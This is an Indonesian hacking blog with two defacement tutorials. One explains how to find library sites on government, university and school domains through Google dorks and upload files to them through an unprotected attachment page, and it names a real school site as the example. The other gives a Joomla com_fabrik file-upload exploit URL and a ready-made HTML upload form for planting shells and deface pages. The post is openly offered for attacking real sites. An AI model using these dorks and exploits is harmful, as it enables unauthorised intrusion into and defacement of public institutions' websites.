Jumat, 10 Agustus 2018

Deface File Attachment Upload Repository

on Agustus 10, 2018 with Tidak ada komentar

Deface File Attachment Upload Repository

Author : From Member W3LL SQUAD
Hae ppk;v,, berjumpa lagi dengan dngn w yg paling tamvans,,. Kali ini w akan memberikan tutor Deface poc File Attachment Upload Repository. Langsung saja.

Bahan :
Dork :
- inurl:/admin/modules/bibliography/pop_attach.php
- pustaka.*.go.id
- pustaka.*.ac.id
- pustaka.*.sch.id
- pustaka.*.(isi dengan domain yang lu mau :v)

Exploit : /admin/modules/bibliography/pop_attach.php
Ext file to upload (txt)

Langkah-langkah :

Pertama, kita dorking menggunakan salah satu dork diatas.

Kedua, pilih salah satu target.
Ketiga, masukan exploit diatas dibelang site/

Contoh :
http://lib-smpn2ponorogo.sch.id
Ditambah exploit menjadi :
lib-smpn2ponorogo.sch.id/admin/modules/bibliography/pop_attach.php

Keempat, kita isi namanya dan upload file.

Lalu klik unggah sekarang.

Kelima, kita panggil filenya, lokasi file :site/repository/yourfile.txt

Contoh : http://lib-smpn2ponorogo.sch.id/repository/well.txt

Done:v
Sekian dulu, kalo ada yang kurang mengerti bisa lngng komen ea;v,,

#W3LL SQUAD

#Ghost Hunter Illusion

Sabtu, 04 Agustus 2018

Deface Poc Com_fabrik

on Agustus 04, 2018 with 2 komentar

Cara Deface Metode Com_Fabrik Dengan CSRF

Assalamualaikum Wr.Wb

ketemu lagi dengan w Falka
Terimakasih telah berkunjung ke web sederhana ini ;v
Kali ini w akan memberikan Tutorial Deface Metode Com_fabrik With CSRF

Sebelum deface sebaiknya kita mempersiapkan alat dan bahan
-Shell Backdoor Ambil disini

-Script Deface (Saya rasa udah punya ya;v)

-Dork

Inurl:index.php?Option=Com_Fabrik

-Exploit

/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload

-CSRF

<title> FUCK you JMboed</title>
<center>
    <img width="300" height"300" src='https://img.duniaku.net/2017/12/1512457422-sagiri-eromanga-700x394.jpg'/>
    <body style="color: white; background-color:black;">
    <h1 style="font-size:40px; line-height:100px; font-weight:bold;">CSRF Com_Fabrik FALKA</h1>
    <font size="1" color="aqua">
<b>jangan lupa ubah dulu dibagian action ="link target"</b>


    <form method="POST" action="www.webvuln.co.li/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload" enctype="multipart/form-data">
    <input type="file" name="file"><button>Gass Bangsadd!1!1!</button>
</form>
</font>
</center>
<br><br>
<font size="5" color="yellow">
<b><u>Exploit :</u></b>
<br>
/index.php?option=com_fabrik&format=raw&<br>task=plugin.pluginAjax&<br>plugin=fileupload&method=ajax_upload
    </font>

Note
merah : untuk web vuln
biru     : Exploit

1. Dorking Dolo ke google seperti biasa. Kembangkan dork di atas biar dapet yg peravan;v